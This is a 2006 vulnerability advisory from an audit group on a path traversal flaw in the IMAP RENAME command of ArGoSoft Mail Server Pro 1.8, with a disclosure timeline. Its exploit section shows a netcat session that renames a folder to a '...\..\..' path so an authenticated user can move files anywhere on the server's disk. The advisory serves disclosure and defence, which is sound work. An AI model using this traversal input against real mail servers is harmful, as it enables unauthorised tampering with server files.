Advisory:
NSAG-=B9200-24.02.2006

Research:
NSA Group [Russian company on Audit of safety & Network security]

Site of Research:
http://www.nsag.ru or http://www.nsag.org

Product:=20
ArGoSoft Mail Server Pro 1.8 IMAP

Site of manufacturer:
www.argosoft.com

The status:=20
19/11/2005 - Publication is postponed.=20
19/11/2005 - Manufacturer is notified.=20
14/02/2006 - Answer of the manufacturer is absent.
14/02/2006 - Publication of vulnerability.

Original Advisory:
http://www.nsag.ru/vuln/878.html

Risk:=20
Hide

Description:=20
Vulnerability exists because of insufficient check of entrance data of vari=
able RENAME.

Influence:=20
Removed user, is accessible to move files, to an any place on a disk.

Exploit:=20
M: \> nc.exe 192.168.1.1 143=20
* OK IMAP Module of ArGoSoft Mail Server Pro for WinNT/2000/XP, Version 1.8=
(1.8.8.1)=20
0001 LOGIN "testuser" "test"=20
0001 OK LOGIN successful=20
000P CREATE "testfile"=20
000P OK Folder created=20
000G RENAME "testfile" "...\..\..\hackuser\hackfolder"
000G OK RENAME completed


More information:
http://www.nsag.ru/vuln/878.html

++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++


www.nsag.ru=20
=ABNemesis=BB =A9 2006=20
------------------------------------=20
Nemesis Security Audit Group =A9 2006.